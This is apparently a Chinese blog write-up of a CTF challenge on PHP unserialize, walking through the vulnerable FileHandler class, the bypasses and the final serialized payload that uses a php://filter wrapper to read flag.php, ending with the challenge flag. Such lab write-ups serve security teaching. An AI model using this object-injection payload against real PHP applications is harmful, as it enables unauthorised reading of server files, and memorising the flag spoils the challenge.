web buuctf [网鼎杯 2020 青龙组]AreUSerialz1

1.代码审计(魔法函数,序列化)

2.成员变量关键字 public、protected、private

代码粘贴如下:

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

传参变量为str,str在经过函数is_valid后,进行反序列化

反序列化会自动调用类内的四个魔法方法:

1._construct():创建对象时调用,常规的创建对象方法为 对象名=new 类名()

                             并没有创建对象的过程,所以该方法未调用

2._destruct():     析构函数会在对象的所有引用被删除,或者被显示销毁时调用,进行到?>调                                 用,即操作结束,所有对象都会被删除,此时进行调用,当对象结束其生命周期                               时(例如对象所在的函数已调用完毕),系统自动执行析构函数。

3._wakeup():

                   自动调用时机:反序列化时

                   作用:反序列化时修改属性(对重新生成的对象的属性进行修改),或重新建立数据                               库连接,或执行其它初始化操作。

4._sleep():

                   自动调用时机:序列化时

                    作用:将允许序列化的对象放在一组数组中返回,序列化时只序列化指定的属性。

1.进行代码审计后发现,变量会进入函数_destruct()

 function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

对传参属性op进行判断,在强类型下使op不等于“2” ,随后对content进行空赋值,调用函数process();

2.

public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

  pocess中当op==1时,调用write(),审计write()函数,返回结果为失败,当op=="2"时,程序才能继续执行,根据第一步,op的值因为与字符2不同类型,但类型转化后与两者相等的值,即令op=(int)2;

调用read()函数,并将read()返回值res进行输出

3.

private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    读取变量属性filename的值,因为代码开头提示一个flag.php,所以利用伪协议,将flag.php内容进行输出filename="php://filter/read=convert.base64-encode/resource=flag.php"

4.

<?php
class FileHandler {

    protected $op=2;
    protected $filename="flag.php";
    protected $content;

}

$a = new FileHandler();
echo serialize($a);
?>

运行,生成payload

O:11:"FileHandler":3:{s:5:"*op";i:2;s:11:"*filename";s:8:"flag.php";s:10:"*content";N;}

传参返回 Bad Hacker!,翻看函数,说明就没进入序列化的过程,所以根据函数is_valid的返回值应该时flase

5.

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

可以看出对于传参,应使ascii🐎值在32到,125之间,但是 $op $filename $content三个变量权限都是protected,而protected权限的变量在序列化时会有%00*%00字符,%00字符的ASCII码为0,不在is_valid函数规定的32到125的范围内。
可以使用一种简单的办法绕过:因为php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public就可以了。

6.

<?php
class FileHandler {

    public $op=2;
    public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
    public $content;

}

$a = new FileHandler();
echo serialize($a);
?>

运行,生成payload

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

7.传参得:

base64解码得:<?php $flag='flag{40aa8fae-29b3-436a-8a73-03cb96eddfac}'; 

 

  • 3
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值